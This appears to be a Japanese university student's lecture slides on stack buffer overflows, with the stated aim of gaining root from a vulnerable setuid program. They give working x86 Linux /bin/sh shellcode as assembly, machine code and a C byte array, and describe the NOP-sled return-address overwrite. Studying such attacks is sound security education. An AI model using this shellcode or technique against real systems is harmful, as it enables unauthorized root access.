セキュリティ(3)
05A2013
大川内 斉
今回の内容
前回、説明不足な内容に終わったバッファオーバーフローに
ついて具体的に行った
不正なプログラムの
実行
test()
{
・・・
偽のアドレスで
書き換える
}
int main()
{
char str[3];
char str2[3];
scanf(“%s”,&str); ”AAAAA・・・
test();
・・・
バッファオーバー
フロー
main()への戻り値アドレス
Str2
AAAA
Str
AAA
開発環境
knoppix(Linux)
前回の質問
1.コンパイラはバッファオーバーフローを
どの程度防げるか?
2.セキュリティホールが多いOSはどれか?
コンパイラはバッファオーバーフローを
どの程度防げるか?
配列領域のチェック
関数リターンアドレスの書き換え検出(オプション)
コンパイラでもある程度は防止できるが、メモ
リ保護機能を持つOSやCPU、デバッグツー
ルなどを用いることにより危険性は減少する
セキュリティホールが多いOSは?
Windows
Linux
MacOS X
深刻な脆弱性の数の多い順
・WindowsがOSの中で脆弱性の数が最も少な
いが、深刻な脆弱性の数は最も多い
・Windowsが、最もユーザが多いため、ターゲット
にされやすいという見方もある
今回の目的
セキュリティホールがあり、setuid(ルート権
限)が有効であるプログラムに対して不正な
攻撃を行いルート権限を奪う
一般ユーザとルート
ルート(ルートユーザ)
何の制約も受けない、システムの管理者であ
りすべての権限を持つ
一般ユーザ
ある程度、アクセスが限られており、Linuxで
は通常この一般ユーザアカウントで作業する
setuid
実行中のユーザーではなく、一時的に別の
ユーザに変更できる機能
シェル
OSの機能の一つで、Linuxではコマンドによ
り、様々な処理ができるが、シェルはユーザ
からコマンドを受けてプログラムの起動や制
御を行う
ls、pwd、cpなどがある
今回、行う攻撃にはshというシェルスクリプト
を用いる
スタック
メモリの使い方を表す概念のこと
push命令(データを入れる命令)を実行
push $1 → push $2 → push $ 3
アドレス
03
02
01
000027
000028
000029
スタックはアドレスの高位~低位に向かって伸びていく
pop命令(データを取り出す命令)を一回実行すると・・・
アドレス
000027
02
01
000028
000029
→ もっとも低位のアドレスからデータが取り出される
・ 最後にpushしたデータが最初にpopされることになる
実験例1
int main(int argc, char *argv[1])
{
char *data[2];
char *exe = "/bin/sh";
data[0] = exe;
data[1] = NULL;
}
このプログラムを
アセンブリ言語→マシン語
と変換し、不正なコードを
作成する
execve(data[0],data,NULL);
シェルスクリプトを実行できている
アセンブリ言語とマシン語
アセンブリ言語
人間にわかりやすい形で機械語を記述する
代表的な言語
マシン語(機械語)
CPUが直接理解し実行できるプログラミング
言語で、どのプログラミング言語も最終的に
このマシン語に翻訳され実行される
アセンブリ言語の作成
.globl main
main:
jmp L2
L1:
popl %esi
movl %esi, 0x8(%esi)
xorl %eax, %eax
movb %al, 0x7(%esi)
movl %eax, 0xc(%esi)
movb $0xb, %al
movl %esi, %ebx
leal 0x8(%esi), %ecx
leal 0xc(%esi), %edx
int $0x80
L2:
call L1
.string "/bin/sh"
call文を実行すると、そ
の次に実行すべきアドレ
ス(戻りアドレス)をスタッ
クに格納
eax
ebx
11
/bin/sh
ecx
edx
配列のアドレス
NULL
char *data[2];
char *exe = "/bin/sh";
data[0] = exe;
data[1] = NULL;
execve(data[0],data,NULL);
マシン語(機械語)の作成
08048354 <main>:
8048354:
eb 18
08048356 <L1>:
8048356:
5e
8048357:
89 76 08
804835a:
31 c0
804835c:
88 46 07
804835f:
89 46 0c
8048362:
b0 0b
8048364:
89 f3
8048366:
8d 4e 08
8048369:
8d 56 0c
804836c:
cd 80
0804836e <L2>:
804836e:
e8 e3 ff ff ff
jmp
804836e <L2>
pop
mov
xor
mov
mov
mov
mov
lea
lea
int
%esi
%esi,0x8(%esi)
%eax,%eax
%al,0x7(%esi)
%eax,0xc(%esi)
$0xb,%al
%esi,%ebx
0x8(%esi),%ecx
0xc(%esi),%edx
$0x80
call 8048356 <L1>
実験例2
unsigned char code[] =
"\xeb\x18\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
int main(void)
{
int *radr;
//int型のポインタのサイズは4バイト
radr = (int *)&radr + 2;
(*radr) = (int)code;
return 0;
アドレス
}
radr
ret
(戻りアドレス)
000024
000032
目的を明らかにすると
バッファオーバーフローを起こすことにより、
ターゲットプログラムのret(戻りアドレス)を
不正なコードの先頭アドレスに上書きできれ
ば、不正なコードを実行できる
プログラムで行っていること1
1.初めに不正プログラムのスタックポインタspを求
めている(spは次にデータが格納されるアドレス
を指す)
2.次にspからターゲットのアドレスを推測するため
ターゲットの配列サイズ分spから引く(しかしター
ゲットのアドレスを指しているわけではない)
ターゲットプログラムの
スタック位置
不正プログラム
不正プログラムで宣
言された変数など
sp
ret
buf
スタック
プログラムで行っていること2
3.別の領域に確保した配列(A)の全ての領域
を先ほど推測したアドレス(X)で埋める
4.Aの前半分をNOP命令(no operation)で
埋め、その後、不正なコード(S)を格納する
5.配列Aをターゲットプログラムに渡す
(配列Aはターゲットの配列より大きい)
配列A
X
X
X
X
X
X
配列A
N
N
N
S
X
X
プログラム実行の仕組み
ここでは、仮に推測したアドレスがターゲットのbuf配列のア
ドレスを指しているとする
ターゲットプログラム
のスタック
N
N
N
S
先頭アドレスを指定しなくても、XがNOPを
指していれば不正なコードは実行される
NOPは何も行わない命令でそのまま進み、
不正なコードが実行されることになる
X
X
X
ここのXはターゲット
プログラムのretが
入っていた場所
プログラム実行
不正なコードを実行できていることがわかる
今後の予定
攻撃法の検証と分析
不正侵入検知(IDS)
参考資料
サイト
・Wikipedia http://ja.wikipedia.org/wiki/
・IPA(情報処理推進機構) http://www.ipa.go.jp/
・ITpro http://itpro.nikkeibp.co.jp/
・IT+PLUS http://it.nikkei.co.jp/
・「アセンブリ言語の教科書」の原稿
http://ruffnex.oc.to/kenji/text/asmbook/
・バッファオーバーフローの危険性
http://f16.aaa.livedoor.jp/~vwxyz/up/img/004.txt
書籍
・ハッカーの教科書
© Copyright 2026 ExpyDoc